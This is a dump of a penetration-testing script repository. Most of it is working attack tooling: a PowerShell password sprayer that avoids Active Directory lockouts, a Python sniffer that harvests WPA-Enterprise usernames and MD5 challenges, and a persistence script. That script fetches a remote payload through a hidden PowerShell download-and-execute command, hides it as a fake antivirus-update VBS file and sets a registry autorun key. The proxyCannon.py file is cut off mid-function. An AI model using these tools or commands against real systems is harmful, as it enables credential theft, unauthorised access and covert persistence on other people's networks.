├── Invoke-GPOLinks.ps1 ├── Invoke-SMBAutoBrute.ps1 ├── README.md ├── crEAP.py ├── mem_scraper.ps1 ├── mimi-potato.ps1 ├── mkDirbList_Clone.py ├── powershell-persistence.ps1 ├── proxyCannon.py └── spin-up /Invoke-GPOLinks.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellntel-acct/scripts/de3c31496a875368ac6f32824b4334962a9357c9/Invoke-GPOLinks.ps1 -------------------------------------------------------------------------------- /Invoke-SMBAutoBrute.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SMBAutoBrute 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Performs smart brute forcing of accounts against the current domain, ensuring that 7 | lockouts do not occur. 8 | 9 | Author: Jason Lang (@curi0usJack) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | Version: 1.0 14 | 15 | .DESCRIPTION 16 | 17 | This script takes either a list of users or, if not specified, will query the domain 18 | for a list of users on every brute attempt. The users queried will have a badPwdCount 19 | attribute of two less than the LockoutThreshold to ensure they are not locked in the brute 20 | attempt, with a new list being queried for every attempt. Designed to simply input the 21 | LockoutThreshold as well as a password list and then run. Note that each DC is queried 22 | for bad password count for each user for each brute, so this script is noisy. 23 | 24 | .EXAMPLE 25 | 26 | PS C:\> Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3 27 | 28 | [*] Performing prereq checks. 29 | [*] PDC: LAB-2008-DC1.lab.com 30 | [*] Passwords to test: jennifer, yankees, 123456 31 | [*] Initiating brute. Unless -ShowVerbose was specified, only successes will show... 32 | [+] Success! Username: TestUser6. Password: jennifer 33 | [+] Success! Username: TestUser99. Password: yankees 34 | [*] Completed. 35 | 36 | .PARAMETER UserList 37 | 38 | A text file of userids (one per line) to brute. Do not append DOMAIN\ in front of the userid. 39 | If this parameter is not specified, the script will retrieve a new list of user accounts for 40 | each attempt to ensure accounts are not locked. 41 | 42 | .PARAMETER PasswordList 43 | 44 | A comma separated list of passwords to attempt. 45 | 46 | .PARAMETER LockoutThreshold 47 | 48 | The domain setting that specifies the number of bad login attempts before the account locks. 49 | To discover this, open a command prompt from a domain joined machine and run "net accounts". 50 | 51 | .PARAMETER Delay 52 | 53 | The delay time (in milliseconds) between each brute attempt. Default 100. 54 | 55 | .PARAMETER ShowVerbose 56 | 57 | Will display Failed as well as Skipped attempts. Generates a ton of data. 58 | 59 | .PARAMETER StopOnSuccess 60 | 61 | The script will exit after the first successful authentication. 62 | 63 | #> 64 | [CmdletBinding()] Param( 65 | [Parameter(Mandatory = $False)] 66 | [String] $UserList, 67 | 68 | [parameter(Mandatory = $True)] 69 | [String] $PasswordList, 70 | 71 | [parameter(Mandatory = $True)] 72 | [String] $LockoutThreshold, 73 | 74 | [parameter(Mandatory = $False)] 75 | [int] $Delay, 76 | 77 | [parameter(Mandatory = $False)] 78 | [Switch] $ShowVerbose, 79 | 80 | [parameter(Mandatory = $False)] 81 | [Switch] $StopOnSuccess 82 | ) 83 | 84 | Begin 85 | { 86 | Set-StrictMode -Version 2 87 | 88 | Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement} 89 | Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} 90 | 91 | Try {Add-Type -AssemblyName System.DirectoryServices} 92 | Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage} 93 | 94 | function Get-PDCe() 95 | { 96 | $context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","lab.com") 97 | $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context) 98 | return $domain.pdcRoleOwner 99 | } 100 | 101 | function Get-UserList($maxbadpwdcount) 102 | { 103 | $users = New-Object System.Collections.ArrayList 104 | $counttouse = $maxbadpwdcount - 2 # We have to use <= in our LDAP query. Use - 2 attempts to ensure the accounts are not locked with this attempt. 105 | $de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc" 106 | $search = New-Object System.DirectoryServices.DirectorySearcher $de 107 | $search.Filter = "(&(objectclass=user)(badPwdCount<=$counttouse)(!userAccountControl:1.2.840.113556.1.4.803:=2))" #UAC = enabled accounts only 108 | $search.PageSize = 10 109 | $foundusers = $search.FindAll() 110 | if ($foundusers -ne $null) 111 | { 112 | foreach ($u in $foundusers) 113 | { 114 | $users.Add([string]$u.Properties['samaccountname']) | Out-Null 115 | } 116 | } 117 | return $users 118 | } 119 | 120 | function Get-DomainControllers 121 | { 122 | $dcs = New-Object System.Collections.ArrayList 123 | $filter = "(&(objectclass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" 124 | $de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc" 125 | $search = New-Object System.DirectoryServices.DirectorySearcher $de 126 | $search.Filter = $filter 127 | $search.PropertiesToLoad.Add('CN') | Out-Null 128 | $results = $search.FindAll() 129 | foreach ($item in $results) 130 | { 131 | $dcs.Add($item.Properties['cn']) | Out-Null 132 | } 133 | $search = $null 134 | $de.Dispose() 135 | return $dcs 136 | } 137 | 138 | function Get-DCBadPwdCount($userid, $dc) 139 | { 140 | $count = -1 141 | $de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$dc" 142 | $search = New-Object System.DirectoryServices.DirectorySearcher $de 143 | $search.Filter = "(&(objectclass=user)(samaccountname=$userid))" 144 | $search.PropertiestoLoad.Add('badPwdCount') | Out-Null 145 | $user = $search.FindOne() 146 | if ($user -ne $null) 147 | { 148 | $count = $user.Properties['badpwdcount'] 149 | } 150 | $search = $null 151 | $de.Dispose() 152 | return $count 153 | } 154 | 155 | function Get-UserBadPwdCount($userid, $dcs) 156 | { 157 | # The badPwdCount attribute is not replicated. Attempts should be reported back to the PDC, 158 | # but here get the greatest count from amongst all the DCs to guard against replication errors. 159 | $totalbadcount = -1 160 | foreach ($dc in $dcs) 161 | { 162 | $badcount = Get-DCBadPwdCount $userid $dc 163 | if ($badcount -gt $totalbadcount) 164 | { 165 | $totalbadcount = $badcount 166 | } 167 | } 168 | return $totalbadcount 169 | } 170 | } 171 | 172 | Process 173 | { 174 | $validaccounts = @{} 175 | 176 | $userstotest = $null 177 | Write-Host "`n[*] Performing prereq checks." 178 | if ([String]::IsNullOrEmpty($UserList) -eq $false) 179 | { 180 | if ([System.IO.File]::Exists($UserList) -eq $false) 181 | { 182 | "[!] $UserList not found. Aborting.`n" 183 | exit 184 | } 185 | else 186 | { 187 | $userstotest = Get-Content $UserList 188 | } 189 | } 190 | 191 | $pdc = Get-PDCe 192 | 193 | if ($pdc -eq $null) 194 | { 195 | Write-Host "[!] Could not locate domain controller. Aborting." 196 | exit 197 | } 198 | 199 | Write-Host "[*] PDC: $pdc" 200 | Write-Host "[*] Passwords to test: $PasswordList" 201 | 202 | $dcs = Get-DomainControllers 203 | $ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain 204 | $PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $pdc) 205 | 206 | $pwds = New-Object System.Collections.ArrayList 207 | foreach ($pwd in $PasswordList.Split(',')) 208 | { 209 | $pwds.Add($pwd.Trim(' ')) | Out-Null 210 | } 211 | 212 | Write-Host "[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show..." 213 | foreach ($p in $pwds) 214 | { 215 | if ($userstotest -eq $null) 216 | { 217 | $userstotest = Get-UserList $LockoutThreshold 218 | } 219 | 220 | foreach ($u in $userstotest) 221 | { 222 | $userid = $u.Trim(' ').Trim([Environment]::Newline) 223 | if ($validaccounts.ContainsKey($userid) -eq $false) 224 | { 225 | $attempts = Get-UserBadPwdCount $userid $dcs 226 | 227 | #Be sure to use 2 less than the LockoutThresold so the account will not be locked out as a result of the next test. 228 | if ($attempts -ne -1 -and $attempts -le ($LockoutThreshold - 2)) 229 | { 230 | $IsValid = $false 231 | $IsValid = $PrincipalContext.ValidateCredentials($userid, $p).ToString() 232 | 233 | if ($IsValid -eq $True) 234 | { 235 | Write-Host "[+] Success! Username: $userid. Password: $p" 236 | $validaccounts.Add($userid, $p) 237 | if ($StopOnSuccess.IsPresent) 238 | { 239 | Write-Host "[*] StopOnSuccess. Exiting.`n" 240 | exit 241 | } 242 | } 243 | else 244 | { 245 | if ($ShowVerbose.IsPresent) 246 | { 247 | Write-Host "[-] Failed. Username: $userid. Password: $p. BadPwdCount: $($attempts + 1)" 248 | } 249 | } 250 | 251 | if ($Delay) 252 | { 253 | Start-Sleep -m $Delay 254 | } 255 | else 256 | { 257 | Start-Sleep -m 100 258 | } 259 | } 260 | else 261 | { 262 | if ($ShowVerbose.IsPresent) 263 | { 264 | Write-Host "[-] Skipped. Username: $userid. Password: $p. BadPwdCount: $attempts" 265 | } 266 | } 267 | } 268 | } 269 | } 270 | Write-Host "[*] Completed.`n" 271 | } 272 | } 273 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # scripts 2 | 3 | A collection of scripts from the security professionals at www.shellntel.com. 4 | 5 | ## Walkthroughs 6 | ### crEAP.py 7 | 8 | http://www.shellntel.com/blog/2015/9/23/assessing-enterprise-wireless-networks 9 | 10 | ### proxyCannon.py 11 | 12 | http://www.shellntel.com/blog/2015/9/9/update-creating-your-own-private-botnet-for-scanning 13 | 14 | ### mem_scraper.ps1 15 | 16 | http://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper 17 | 18 | ### mkDirbList_Clone.py 19 | 20 | http://www.shellntel.com/blog/2015/10/9/assisted-directory-brute-forcing 21 | 22 | ### powershell-persist.ps1 23 | 24 | http://www.shellntel.com/blog/2015/7/25/using-powershell-unicorn-to-get-persistence 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /crEAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #crEAP is a utility which will identify WPA Enterprise Mode Encryption types and if 3 | #insecure protocols are in use, crEAP will harvest Radius usernames and handshakes. 4 | #Author: Snizz 5 | #Requirements: Should be run as root/sudo. 6 | # 7 | # Python Scapy Community (scapy-com) - Dev version of Scapy which supports additional 8 | # filters such as EAP types. Get @ https://bitbucket.org/secdev/scapy-com 9 | # 10 | # Airmon-ng, airodump-ng (Aircrack-ng Suite - http://www.aircrack-ng.org/) 11 | # 12 | # Screen for terminal managment/ease of launching airodump (requirement for 13 | # Promiscuous/Channel hopping to capture the EAPOL packets) 14 | import logging 15 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 16 | from collections import defaultdict 17 | from scapy.all import * 18 | import sys, argparse 19 | import thread 20 | import subprocess 21 | pcap_file = None 22 | wifiint = None 23 | wifichan = None 24 | parser = argparse.ArgumentParser(description='') 25 | parser.add_argument('-r', '--read', dest='pcap', required=False, help='[OPTIONAL] Read from PCAP file, else live capture is default.') 26 | parser.add_argument('-i', '--interface', dest='interface', required=False, help='[OPTIONAL] Wireless interface to capture.') 27 | parser.add_argument('-c', '--channel', dest='wifichan', required=False, help='[OPTIONAL] Wireless channel to monitor. 2.4/5GHZ spectrums supported so long as your adapter supports it. The ALFA AWUS051NHv2 is recommended for dual band support.') 28 | args = parser.parse_args() 29 | pcap_file = args.pcap 30 | wifiint = args.interface 31 | wifichan = args.wifichan 32 | class bcolors: 33 | HEADER = '\033[95m' 34 | OKBLUE = '\033[94m' 35 | OKGREEN = '\033[92m' 36 | WARNING = '\033[93m' 37 | FAIL = '\033[91m' 38 | ENDC = '\033[0m' 39 | BOLD = '\033[1m' 40 | UNDERLINE = '\033[4m' 41 | version = "1.4" # 5GHZ||GTFO 42 | # Got root/sudo? 43 | euid = os.geteuid() 44 | if euid != 0: 45 | print bcolors.FAIL + "\n[-]"+ bcolors.ENDC + "Script not started as root. Running sudo..." 46 | args = ['sudo', sys.executable] + sys.argv + [os.environ] 47 | # the next line replaces the currently-running process with the sudo 48 | os.execlpe('sudo', *args) 49 | try: # Python Scapy-Com check (inspiration from EAPEAK/McIntyre) 50 | from scapy.layers.l2 import eap_types as EAP_TYPES 51 | except ImportError: 52 | print bcolors.FAIL + "\n[!]"+ bcolors.ENDC +" Scapy-Com not installed, needed for parsing EAPOL packets." 53 | print bcolors.WARNING + "[-]"+ bcolors.ENDC +" Download: hg clone https://bitbucket.org/secdev/scapy-com" 54 | print bcolors.WARNING + "[-]"+ bcolors.ENDC +" Remove: dpkg --ignore-depends=python-scapy -r python-scapy" 55 | print bcolors.WARNING + "[-]"+ bcolors.ENDC +" Install: cd scapy-com && python setup.py install" 56 | sys.exit(0) 57 | #Prereq checks: 58 | requirement = ['airmon-ng', 'airodump-ng', 'screen'] 59 | for r in requirement: 60 | devnull = open("/dev/null", "w") 61 | if r == 'screen': 62 | try: 63 | subprocess.call([r, "-v"], stdout=devnull) 64 | except OSError: 65 | print bcolors.FAIL + "\n[-]"+ bcolors.ENDC + r +" dependancy not detected, exiting." 66 | sys.exit(0) 67 | else: 68 | try: 69 | subprocess.call([r], stdout=devnull) 70 | except OSError: 71 | print bcolors.FAIL + "\n[-]"+ bcolors.ENDC + r +" dependancy not detected, exiting." 72 | sys.exit(0) 73 | banner = bcolors.OKGREEN + """ 74 | ___________ _____ ___________ 75 | __________\_ _____/ / _ \______ \ 76 | _/ ___\_ __ \ __)_ / /_\ \| ___/ 77 | \ \___| | \/ \ / | \ \ | 78 | \___ >__| /_______ /\____|__ /____| 79 | \/ \/ \/ 80 | crEAP is a utility which will identify WPA Enterprise Mode Encryption types and if 81 | insecure protocols are in use, crEAP will harvest usernames and handshakes. 82 | """ + bcolors.ENDC 83 | print "\n"+banner 84 | print "Version: "+bcolors.OKGREEN +version+bcolors.ENDC 85 | #Check to see if WLAN is in MONITOR mode, if not, set it 86 | md5challenge = {} 87 | requser = {} 88 | USER = {} 89 | USERID = {} 90 | USERNAME = {} 91 | UserList = [] 92 | checked = [] 93 | #bssids = set(['00:00:00:00:00', 'Null']) 94 | bssids = defaultdict(list) 95 | bssids.update({'mac':"00:00:00:00:00:00", 'net':'testing'}) 96 | def live(): 97 | #Interface Foo 98 | if wifiint is None: 99 | print "\n" + bcolors.WARNING + "[-]" + bcolors.ENDC + " Current Wireless Interfaces\n" + bcolors.ENDC 100 | print subprocess.Popen("iwconfig", shell=True, stdout=subprocess.PIPE).stdout.read() 101 | subprocess.Popen("screen -X -S crEAP kill", shell=True, stdout=subprocess.PIPE).stdout.read() 102 | try: 103 | global adapter 104 | adapter = raw_input(bcolors.WARNING + "Specify wireless interface: "+ bcolors.FAIL + " (This will enable MONITOR mode)"+ bcolors.ENDC + " (wlan0, wlan2, etc): ") 105 | except: 106 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Issue specifying the wireless interface, exiting.\n" 107 | sys.exit(0) 108 | else: 109 | adapter = wifiint 110 | if wifichan is None: 111 | try: 112 | global channel 113 | channel = raw_input(bcolors.WARNING + "Specify wireless channel:"+ bcolors.FAIL + " (Default Channel 6. Supports 2.4/5ghz spectrum): " + bcolors.ENDC) 114 | except: 115 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Unable to set channel, exiting.\n" 116 | sys.exit(0) 117 | else: 118 | channel = wifichan 119 | try: 120 | print bcolors.WARNING + "\n[-]"+ bcolors.ENDC + " Enabling monitor interface and channel..." 121 | subprocess.Popen("airmon-ng check kill", shell=True, stdout=subprocess.PIPE).stdout.read() 122 | subprocess.Popen("airmon-ng start "+adapter, shell=True, stdout=subprocess.PIPE).stdout.read() 123 | adapter=adapter+"mon" 124 | except: 125 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Unable to enable MONITOR mode, exiting.\n" 126 | 127 | if int(channel) <= 14: 128 | try: 129 | subprocess.Popen(['screen -dmS crEAP'], shell=True, stdout=subprocess.PIPE).stdout.read() 130 | cmd = "stuff $" + "'sudo airodump-ng -c"+channel+" "+adapter+"\n'" 131 | subprocess.Popen(['screen -r crEAP -X ' + cmd], shell=True, stdout=subprocess.PIPE).stdout.read() 132 | print "\n" + bcolors.WARNING + "[-]"+ bcolors.ENDC + " Listening in the 2.4GHZ spectrum." 133 | except: 134 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Unable to set promiscuous mode, exiting.\n" 135 | else: 136 | try: 137 | subprocess.Popen(['screen -dmS crEAP'], shell=True, stdout=subprocess.PIPE).stdout.read() 138 | cmd = "stuff $" + "'sudo airodump-ng --band a -c"+channel+" "+adapter+"\n'" 139 | subprocess.Popen(['screen -r crEAP -X ' + cmd], shell=True, stdout=subprocess.PIPE).stdout.read() 140 | print "\n" + bcolors.WARNING + "[-]"+ bcolors.ENDC + " Listening in the 5GHZ spectrum." 141 | except: 142 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Unable to set promiscuous mode, exiting.\n" 143 | 144 | def eapol_header(packet): 145 | global USERID 146 | global USER 147 | global USERNAME 148 | #packet.show() 149 | for pkt in packet: 150 | get_bssid(pkt) 151 | try: 152 | if pkt.haslayer(EAP): 153 | if pkt[EAP].type==1: #Identified an EAP authentication 154 | USERID=pkt[EAP].id 155 | if pkt[EAP].code == 2: 156 | USER=pkt[EAP].identity 157 | #EAP-MD5 - Credit to EAPMD5crack for logic assistance 158 | if pkt[EAP].type==4: #Found EAP-MD5 159 | EAPID=pkt[EAP].id 160 | if pkt[EAP].code == 1: 161 | md5challenge[EAPID]=pkt[EAP].load[1:17] 162 | network = bssids[pkt.addr2] 163 | print "\n" + bcolors.OKGREEN + "[!]" + bcolors.ENDC +" EAP-MD5 Authentication Detected" 164 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" BSSID: " + (network) 165 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" Auth ID: " + str(USERID) 166 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" User ID: " + str(USER) 167 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" MD5 Challenge: " + md5challenge[EAPID].encode("hex") 168 | addtolist(USER) 169 | elif packets[EAP].code == 2: 170 | md5response[EAPID]=packets[EAP].load[1:17] 171 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" MD5 Response: " + md5response[EAPID].encode("hex") 172 | #EAP-PEAP 173 | elif pkt[EAP].type==25: #Found EAP-PEAP 174 | EAPID=pkt[EAP].id 175 | if pkt[EAP].code == 2: 176 | network = bssids[pkt.addr1] #reverse as it is the destination mac (Client->Server Identify) 177 | print "\n" + bcolors.OKGREEN + "[!]" + bcolors.ENDC +" EAP-PEAP Authentication Detected" 178 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" BSSID: " + (network) 179 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" Auth ID: " + str(USERID) 180 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" User ID: " + str(USER) 181 | addtolist(USER) 182 | #EAP-TLS 183 | elif pkt[EAP].type==1: #Found EAP-TLS Response Identity 184 | EAPID=pkt[EAP].id 185 | if pkt[EAP].code == 1: 186 | network = bssids[pkt.addr2] 187 | USER = str(USER).strip("{}") 188 | if USER is not '': 189 | print "\n" + bcolors.OKGREEN + "[!]" + bcolors.ENDC +" EAP-TLS Response ID Detected" 190 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" BSSID: " + (network) 191 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" Auth ID: " + str(USERID) 192 | print bcolors.OKGREEN + "[-]" + bcolors.ENDC +" User ID: " + str(USER) 193 | addtolist(USER) 194 | elif pkt[EAP].type==13: #Found EAP-TLS 195 | EAPID=pkt[EAP].id 196 | if pkt[EAP].code == 2: 197 | network = bssids[pkt.addr2] 198 | # print "\n" + bcolors.OKGREEN + "[!]" + bcolors.ENDC +" EAP-TLS Authentication Detected" 199 | except: 200 | print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Something wasn't able to parse correctly, exection will continue.\n" 201 | #print "\n" + bcolors.FAIL + "[!]" + bcolors.ENDC + " Python Scapy not able to extract EAPOL data, make sure scapy-com is installed which supports EAP types. (https://bitbucket.org/secdev/scapy-com)\n" 202 | #sys.exit(0) 203 | def get_bssid(pkt): 204 | global bssids 205 | if pkt.haslayer(Dot11): 206 | if pkt.type==0 and pkt.subtype==8: 207 | for item in bssids.values(): 208 | if pkt.info in item: 209 | break 210 | elif pkt.addr2 in item: 211 | break 212 | else: 213 | bssids.update({pkt.addr2:pkt.info}) 214 | def addtolist(USER): 215 | #if USERNAME not in UserList: 216 | UserList.append(USER) 217 | global checked 218 | checked = [] 219 | for item in UserList: 220 | if item not in checked: 221 | checked.append(item) 222 | #Main and EAPOL-HEADER 223 | if pcap_file is not None: 224 | try: 225 | print bcolors.WARNING + "\n[-]"+ bcolors.ENDC + " Searching for EAPOL packets from PCAP", pcap_file 226 | PCAP_EXTRACTED=rdpcap(pcap_file) 227 | eapol_header(PCAP_EXTRACTED) 228 | except: 229 | print "\n" + bcolors.FAIL + "\n[!]" + bcolors.ENDC + " Issue reading PCAP.\n" 230 | sys.exit(0) 231 | else: 232 | try: 233 | live() 234 | print bcolors.WARNING + "\n[-]"+ bcolors.ENDC + " Sniffing for EAPOL packets on "+adapter+" channel "+channel+"... "+ bcolors.FAIL + "Ctrl+C to exit" + bcolors.ENDC 235 | conf.iface = adapter 236 | sniff(iface=adapter, prn=eapol_header) 237 | print "\n" + bcolors.FAIL + "\n[!]" + bcolors.ENDC + " User requested interrupt, cleaning up monitor interface and exiting..." 238 | print bcolors.WARNING + "[-]"+ bcolors.ENDC + " Cleaning up interfaces..." 239 | subprocess.Popen("screen -X -S crEAP kill", shell=True, stdout=subprocess.PIPE).stdout.read() 240 | subprocess.Popen("sudo airmon-ng stop "+adapter, shell=True, stdout=subprocess.PIPE).stdout.read() 241 | except: 242 | "\n" + bcolors.FAIL + "\n[!]" + bcolors.ENDC + " Issue sniffing packets, ensure python's scapy-com in installed (https://bitbucket.org/secdev/scapy-com).\n" 243 | sys.exit(0) 244 | print bcolors.OKGREEN + "[-]"+ bcolors.ENDC + " Unique Harvested Users:" 245 | print checked 246 | print "\n" 247 | -------------------------------------------------------------------------------- /mem_scraper.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shellntel-acct/scripts/de3c31496a875368ac6f32824b4334962a9357c9/mem_scraper.ps1 -------------------------------------------------------------------------------- /mkDirbList_Clone.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Requires: https://github.com/gitpython-developers/GitPython 4 | 5 | """This script converts a github repo into a list for 6 | directory and file bruteforcing but has to clone the whole repo to do it""" 7 | 8 | __author__ = "Scot Berner" 9 | 10 | import git 11 | import sys, getopt, shutil 12 | 13 | # Store repo URL and output file names 14 | repoURL='' 15 | ofile='' 16 | 17 | # Read command line args 18 | myopts, args = getopt.getopt(sys.argv[1:], "u:o:") 19 | 20 | ############################### 21 | # o == option 22 | # a == argument passed to the o 23 | ############################### 24 | 25 | for o, a in myopts: 26 | if o == '-u': 27 | repoURL=a 28 | elif o == '-o': 29 | ofile=a 30 | else: 31 | print("Usage: %s -u -o " % sys.argv[0]) 32 | print("IE: %s -u https://github.com/WordPress/WordPress -o wordpress.txt" % sys.argv[0]) 33 | 34 | # Display input and output file name passed as the args 35 | 36 | print ("[*] Repo URL : %s " % (repoURL) ) 37 | print ("[*] Outfile : %s " % (ofile) ) 38 | 39 | if ofile == "": 40 | print "[*] Outfile required" 41 | sys.exit() 42 | 43 | #infer repo name from URL 44 | 45 | repoURLArr = repoURL.split("/") 46 | 47 | tempArr = repoURLArr[4].split(".") 48 | 49 | repoName = tempArr[0] 50 | 51 | #create repo dumping path 52 | 53 | chkPath = "/tmp/" + repoName 54 | 55 | #create git object 56 | 57 | grepo = git.Git() 58 | 59 | #clone repo 60 | 61 | gitCMD = grepo.execute(["git", "clone", repoURL, chkPath]) 62 | 63 | #create git object in repo that we created 64 | 65 | grepo = git.Git(chkPath) 66 | 67 | #get list of files under source control for the master branch 68 | 69 | repoFiles = grepo.execute(["git", "ls-tree", "-r", "master", "--full-name"]) 70 | 71 | #convert list of files to array of each line 72 | 73 | repoFiles = repoFiles.split("\n") 74 | 75 | #open file for writing with clobber 76 | 77 | outFile = open(ofile, 'w+') 78 | 79 | #write each file name to txt file 80 | 81 | for line in repoFiles: 82 | #print line.split('\t')[1] 83 | outFile.write(line.split('\t')[1] + "\n") 84 | 85 | outFile.close 86 | 87 | print "[*] Cleaning up..." 88 | 89 | #delect repo files 90 | 91 | shutil.rmtree(chkPath) 92 | -------------------------------------------------------------------------------- /powershell-persistence.ps1: -------------------------------------------------------------------------------- 1 | # powershell-persistence.ps1 2 | # Author: @curi0usJack 3 | # 4 | # Assumes your target has the ability to download files 5 | # 6 | # 1) Use Unicorn to generate your encoded powershell command. This command will be used for persistence when the user logs in. 7 | # 2) Save to a text file somewhere you can download it. 8 | # 3) Call this from your shell: 9 | # powershell.exe -window hidden -exec bypass -noni -c "IEX (New-Object Net.WebClient).DownloadString('http://WEBSERVER/powershell-persist.ps1'); Add-Persistence http://WEBSERVER/powershell_attack.txt" 10 | # 11 | # Kudos to @slobtresix for the initial model. Modified to work directly with unicorn payloads. 12 | # 13 | # 14 | function Add-Persistence() 15 | { 16 | param 17 | ( 18 | [parameter(Mandatory=$true)] 19 | [string] 20 | $payloadurl 21 | ) 22 | 23 | # Default saving the payload to the %TEMP% directory 24 | $tmpdir = $env:APPDATA 25 | 26 | # Change this if desired. 27 | $payloadvbsloaderpath = "$tmpdir\update-avdefs.vbs" 28 | 29 | # Determine if user is admin. Not required, but nice to know. 30 | $admin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") 31 | if ($admin -eq $true) 32 | { Write-Host "[+] User is a local administrator!" } 33 | else 34 | { Write-Host "[-] User is not a local administrator." } 35 | 36 | # Download and verify the payload. 37 | Write-Host "[+] Downloading payload $payloadurl" 38 | $payload = (New-Object Net.WebClient).DownloadString($payloadurl) 39 | 40 | $payloadlength = $payload.Length 41 | if ($payloadlength -gt 0) 42 | { Write-Host "[+] Payload length: $payloadlength bytes" } 43 | else 44 | { 45 | Write-Host "[!] Payload length: 0 characters. Is the web server up?" 46 | return 47 | } 48 | 49 | # Create the VBS file and insert the powershell command from unicorn. 50 | Write-Host "[+] Creating VBS loader." 51 | $vbs = "Set oShell = CreateObject( ""WScript.Shell"" )`r`n" 52 | $vbs += "ps = ""$payload""`r`n" 53 | $vbs += "oShell.run(ps),0,true" 54 | $vbs | Out-File $payloadvbsloaderpath -Force 55 | 56 | # Mark the file as hidden. 57 | Write-Host "[+] Marking $payloadvbsloaderpath as Hidden." 58 | $fileObj = get-item $payloadvbsloaderpath -Force 59 | $fileObj.Attributes="Hidden" 60 | 61 | # Set the LOAD key. Haven't been caught by AV yet. ;-) 62 | Write-Host "[+] Updating registry with a LOAD key" 63 | Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" -Name LOAD -Value $payloadvbsloaderpath 64 | 65 | Write-Host "[+] Done!" 66 | } 67 | 68 | function Remove-Persistence() 69 | { 70 | $appdir = $env:APPDATA 71 | $payload = "$appdir\update-avdefs.vbs" 72 | 73 | if (Test-Path $payload) 74 | { 75 | Remove-Item -Path $payload -Force 76 | Write-Host "[+] Found and removed $payload." 77 | } 78 | else 79 | { Write-Host "[-] $payload not found." } 80 | 81 | $reg = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" 82 | if ($reg.LOAD -eq $payload) 83 | { 84 | Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" -Name LOAD 85 | Write-Host "[+] Found and removed LOAD registry key." 86 | } 87 | else 88 | { Write-Host "[-] LOAD registry key not found." } 89 | 90 | Write-Host "[+] Done." 91 | } 92 | -------------------------------------------------------------------------------- /proxyCannon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Author: Hans Lakhan 3 | ####################### 4 | # Requirements: 5 | # boto: pip install -U boto 6 | # 7 | ####################### 8 | # To Do 9 | # 1) Add support for config? 10 | # 2) Change os.system() to subproccess.Popen to manage STDOUT, STDERR better 11 | # 3) add support for re-establishing tunnels 12 | # 4) Add support for connecting to other clusters 13 | # 5) Trim Log Output Time 14 | # 6) Cleanup Try/Catch statments 15 | # 7) Clean STDOUT from iproute changes 16 | # 17 | ####################### 18 | import boto.ec2 19 | import os 20 | import argparse 21 | import time 22 | import sys 23 | import subprocess 24 | import fcntl 25 | import struct 26 | import socket 27 | import hashlib 28 | import signal 29 | import datetime 30 | import re 31 | from subprocess import Popen, PIPE, STDOUT 32 | 33 | ############################################################################################# 34 | # Handle Colored Output 35 | ############################################################################################# 36 | 37 | class bcolors: 38 | HEADER = '\033[95m' 39 | OKBLUE = '\033[94m' 40 | OKGREEN = '\033[92m' 41 | WARNING = '\033[93m' 42 | FAIL = '\033[91m' 43 | ENDC = '\033[0m' 44 | BOLD = '\033[1m' 45 | UNDERLINE = '\033[4m' 46 | 47 | def error(msg): 48 | print "[" + bcolors.FAIL + "!" + bcolors.ENDC + "] " + msg 49 | def success(msg): 50 | print "[" + bcolors.OKGREEN + "*" + bcolors.ENDC + "] " + msg 51 | def warning(msg): 52 | print "[" + bcolors.WARNING + "~" + bcolors.ENDC + "] " + msg 53 | def debug(msg): 54 | if args.v: 55 | timestamp = datetime.datetime.now() 56 | print "[i] " + str(timestamp) + " : " + msg 57 | 58 | ############################################################################################# 59 | # Handle Logging 60 | ############################################################################################# 61 | 62 | def log(msg): 63 | 64 | timestamp = datetime.datetime.now() 65 | logfile = open("/tmp/" + logName, 'a') 66 | logfile.write(str(timestamp)) 67 | logfile.write(" : " + str(msg)) 68 | 